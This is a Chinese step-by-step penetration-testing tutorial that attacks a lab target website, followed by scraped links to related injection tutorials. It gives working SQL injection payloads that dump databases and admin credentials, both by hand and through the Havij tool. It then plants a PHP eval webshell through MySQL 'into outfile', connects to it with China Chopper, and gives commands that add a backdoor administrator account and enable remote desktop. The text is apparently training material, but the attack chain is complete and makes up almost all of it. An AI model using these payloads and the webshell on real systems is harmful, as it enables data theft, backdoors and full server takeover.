目标服务器(靶机):192.168.1.27

目标网站:http://192.168.1.27:8083

步骤:

一、靶机操作

1、进入靶机,查看IP地址;

开始—运行,输入cmd回车,出现命令行窗口,输入:ipconfig

显示,靶机配置信息,记下以太网适配器下,IPv4地址(后面访问网页会用到)。

此处为192.168.1.27

2、启动phpstudy(桌面图标):



如果,显示不是两个绿色标志,则等待一会,按下重启按钮,再次尝试。

二、远程攻击机操作

1、打开攻击机

利用攻击机,访问靶机。http://192.168.1.27:8083(注意根据查看到的靶机IP地址,修改此处的IP,端口不变,以下截图中,均应将端口修改为8083),然后点击其中的一篇文章,如果地址栏出现http://***/xx.php?id=XX,则表明目标网站,采用PHP语言开发。

2、试探目标网站

分别在地址末尾添加单撇号、and 1=1 和 and 1=2 进行注入点探测。



如果单撇号出错、给出数据库信息,and 1=1正确执行,and 1=2显示空页面,则表明存在注入攻击点。



三、手工注入

非常重要:首先在网站找到管理入口,否则,呵呵就算有用户名和密码,没有入口,也是白玩。。

注入时,注意通过改变大小写、编码、转换等方式躲过系统检查,顺利执行语句!!!

步骤1:访问目标网站



随便点击其中一个新闻

步骤2:寻找注入点

在 URL 后加’(单引号)判断是否存在注入点,数据库报错。

步骤3:判断字段长度:

利用 order by N,从数字 1 开始替代 N,直到返回错误页面,判断字段长度为错误页面的 N-1,也就是最后一个正常页面返回。实验中N=16,错误,所以字段长度为15



步骤4:判断字段位置回显:

利用 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 最后一个数为字段长度,有回显会将相应数字显示出来。从下图可知,3 和 11 的位置可以回显信息。判断数据库信息:

步骤5:判断数据库信息:

利用 and 1=2 union select 1,2,sql_command,4,5,6,7,8,9,10,11,12,13,14,15 ,用 sql 指令替换 sql_command。

Sql_command为以下参数:

查看 mysql 版本 version()

查看当前数据库 database()

查看当前用户 user()

  1. 判断版本

  2. 判断数据库

  3. 判断用户

步骤6:判断mysql所有数据库:

利用 and 1=2 union select 1,2,group_concat(convert(SCHEMA_NAME using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.SCHEMATA,查看 mysql中所有数据库的名称。

由下图结果可知业务数据库为 cms。其他数据库有mysql,discuz,test等

步骤7:判断数据库表:

利用 and 1=2 union select 1,2,group_concat(convert(table_name using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database() ,查看 cms 数据库拥有的所有表。可以发现存放用户信息的表cms_users。=

步骤8:判断数据表的所有列:

利用 and 1=2 union select 1,2,group_concat(convert(column_name using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_name=0x636D735F7573657273。

table_name=cms_users,表名需要编码为 16 进制。得到 3 个列:userid,username 和 password

从ASCII对照表中可知对应:c(63) m(6d) s(73) _(5f) u(75) s(73) e(65) r(72) s(73)

步骤9:判断管理员账号密码:

利用 and 1=2 union select 1,2,concat_ws(0x2b,userid,username,password),4,5,6,7,8,9,10,11,12,13,14,15 from cms.cms_users。得到管理员账号密码为:admin/e10adc3949ba59abbe56e057f20f883e(解密后123456)



登陆后台地址后台地址:http://192.168.1.27:8083/admin/login.php,SQL注入结束。

四、利用Havij进行自动化工具注入

在桌面,运行Havij.exe。



在Target后面的输入栏中,输入看到的目标网站的可注入网址。

注意:

(1)Target栏目中,输入内容,必须带上“http://”,并且,一定具有****.php?id=**特征。

(2)Database选择项,根据前面出错信息,自动检测。其他按图中所示进行选择即可。

(3)点击,Analyze,即可输出各种信息。

第一步:获取信息。点击info,查看基本信息。

第二步:获取数据库,表,列的信息。

依次点击TablesàGetDBs,得到靶机上的所有数据库信息(如果仅显示一个数据库,等待1分钟左右,再次点击即可),勾选mysql数据库,然后点击Get Tables,得到mysql数据库中的所有表的信息。

选择user、password列,点击Get Data得到当前数据库的用户名和密码加密后的值。



通过www.cmd5.com查询,得到对应的密码明文。

Root

第三步:登陆数据库

利用拿到的mysql数据库用户名密码登录数据库管理端。(此处省去发现该端口过程,可利用指纹扫描软件发现PHPmyadmin的管理端口)

访问http://192.168.1.27:8088/phpMyAdmin/,输入用户名密码,进入如下界面:



在数据库列表中,选中cms数据库。然后,在网页中部偏上位置,点击SQL,并执行SQL命令。

select ‘<?php eval($_POST[cmd]);?>’ into outfile ‘D:/WWW/cms/ma.php’

注意:此处如果将/写为\将不能执行。

此处,写入的目录,需要不断进行试探。。

网站根目录下面才是cms网站,所以此目录,对应的网址为:

http://192.168.1.27:8083/ma.php,利用菜刀连接此地址。

中国菜刀连接后,打开命令行界面:

输入http://192.168.1.27:8083/ma.php 口令为cmd。



然后右键点击添加条目,选择文件管理,即可看到目标靶机的磁盘情况。



即可下载、上传、删除文件等。

如果需要进行用户操作,则右键点击添加条目,选择虚拟终端,弹出类似DOS窗口的webshell。此窗口中可进行用户添加与权限提升。



打开虚拟终端后,执行net user,如果菜刀显示乱码,设置编码方式为GB2312即可。

以下操作,除非特殊说明,均在此webshell中进行。

五、命令

查看当前存在用户:

net user

查看当前用户组:

net localgroup

添加用户(以添加用户名username密码1234为例):

net user username 1234 /add

添加用户到组(以添加ls用户到Administrators组为例):

net localgroup Administrators username /add

查看用户组:

net localgroup administrators

即可看到所添加的用户,已经在管理员组了。

为了便于操作,还可以开启远程桌面开启。

如果,远程主机关闭了远程桌面功能,则有几种方法打开:在WEbshell窗口中,执行以下任一语句,即可远程打开远程桌面功能。

(1)REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

(2)wmic /namespace:\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != “”) call setallowtsconnections 1

(3)wmic /namespace:\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName =’RDP-Tcp’) call setuserauthenticationrequired 1

以上三种方法,第一种用于xp和win2003,后两者适用与win7、8.

然后,然后,打开远程桌面,输入目标网站IP地址。

利用刚才创建的用户名、密码登录了。

可以查看文件,可以修改配置。

下载文件,还要在菜刀中进行。

本教程仅供网站进行渗透测试,请勿用于非法途径!!造成任何危害,均由个人负全责!!

phpcms手工注入教程的更多相关文章

  1. 基于dvwa环境下级别为low的SQL手工注入教程

    基于dvwa环境下级别为low的SQL手工注入教程: 首先是进入已搭建好的dvwa环境中去(一定要搭建好dvwa环境才能进行下面的操作),这可能会是一些初学者所面临的的第一个问题,比如我,曾为了寻找这 ...

  2. <<< 入侵网站类提权注入教程

    ---------------------------------------入侵类教程-------------------------------------------------------- ...

  3. 学习笔记 MSSQL显错手工注入

    和朋友一起学习,速度就是快.感谢珍惜少年时. 网上很多都在长篇大论MSSQL显错手工注入,其实原理只有一小段.如下: ' and (查询一段内容)=1 and 'C'='Cnvarchar类型(查询一 ...

  4. ASP+ACCESS手工注入详解

    SQL注入这么长时间,看见有的朋友还是不会手工注入,那么我来演示一下.高手略过. 我们大家知道,一般注入产生在没经过虑的变量上,像ID?=XX这样的. 下面以这个网址为例: http://zsb.xx ...

  5. sql server手工注入

    sql server手工注入 测试网站testasp.vulnweb.com 1. http://testasp.vulnweb.com/showforum.asp?id=0 http://testa ...

  6. sqlServer2008 手工注入

    接着上一篇的<mysql手工注入> 参考:http://hi.baidu.com/ciqing_s/item/971bf994365130accc80e5ed http://hi.baid ...

  7. 小白日记41:kali渗透测试之Web渗透-SQL手工注入(三)-猜测列名、表名、库名、字段内容,数据库写入

    SQL手工注入 靶机:metasploitable(低)  1.当无权读取infomation_schema库[MySQL最重要的源数据库,必须有root权限]/拒绝union.order by语句 ...

  8. 小白日记40:kali渗透测试之Web渗透-SQL手工注入(二)-读取文件、写入文件、反弹shell

    SQL手工注入 1.读取文件[load_file函数] ' union  SELECT null,load_file('/etc/passwd')--+ burpsuite 2.写入文件 ' unio ...

  9. 小白日记39:kali渗透测试之Web渗透-SQL手工注入(一)-检测方法

    SQL手工注入(一) SQL注入:通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.[SQL注入原理] ##服务端程序将用户输入参数作为查询 ...

随机推荐

  1. python基础语法_8循环语句

    http://www.runoob.com/python3/python3-loop.html while 循环 Python中while语句的一般形式: while 判断条件: 语句 无限循环 我们 ...

  2. Solution -「LOCAL」二进制的世界

    \(\mathcal{Description}\)   OurOJ.   给定序列 \(\{a_n\}\) 和一个二元运算 \(\operatorname{op}\in\{\operatorname{ ...

  3. Note - 多项式乱写

      基础篇戳这里.   大概是记录 @Tiw 的伟大智慧叭.   嗷,附赠一个 全家桶题. 目录 Newton 迭代法 多项式乱算 多项式求逆 多项式 多项式 多项式开根 多项式带余除法 多项式快速幂 ...

  4. 微服务从代码到k8s部署应有尽有系列(三、鉴权)

    我们用一个系列来讲解从需求到上线.从代码到k8s部署.从日志到监控等各个方面的微服务完整实践. 整个项目使用了go-zero开发的微服务,基本包含了go-zero以及相关go-zero作者开发的一些中 ...

  5. SpringBoot自定义classloader加密保护class文件

    背景 最近针对公司框架进行关键业务代码进行加密处理,防止通过jd-gui等反编译工具能够轻松还原工程代码,相关混淆方案配置使用比较复杂且针对springboot项目问题较多,所以针对class文件加密 ...

  6. mysql悬案 之 为什么用docker启动的mysql配置文件不生效

    文章目录 故事前景 查看docker启动时挂载了哪些目录 使用相同镜像启动一个mysql 新建一个目录用来存放容器内的mysql配置文件 复制容器内的mysql配置文件到本地 查看mysql配置文件目 ...

  7. leetcode算法1.两数之和

    哈喽!大家好,我是[学无止境小奇],一位热爱分享各种技术的博主! [学无止境小奇]的创作宗旨:每一条命令都亲自执行过,每一行代码都实际运行过,每一种方法都真实实践过,每一篇文章都良心制作过. [学无止 ...

  8. python写的百度图片爬虫

    学了一下python正则表达式,写一个百度图片爬虫玩玩. 当技术遇上心术不正的人,就成我这样的2B青年了. python3.6开发.程序已经打包好,下载地址: http://pan.baidu.com ...

  9. C#控制树莓派入门

    何为树莓派 许久没有写博客了,十二月份西安疫情的影响,居家隔离了一个多月,在其期间,学习了一下树莓派,觉得硬件还是挺有意思的,刚好也看到了巨硬有提供使用c#用来开发树莓派应用的解决方案叫Net Iot ...

  10. 学习Spring5必知必会(4)~使用注解配置、使用java代码配置

    ● 注意:使用注解并不能完全取代xml配置,比如配置连接池DruidDataSource,我们就不能到这个类中去贴注解. 想要实现零配置(完全不使用xml进行配置):javaConfig + 注解 ● ...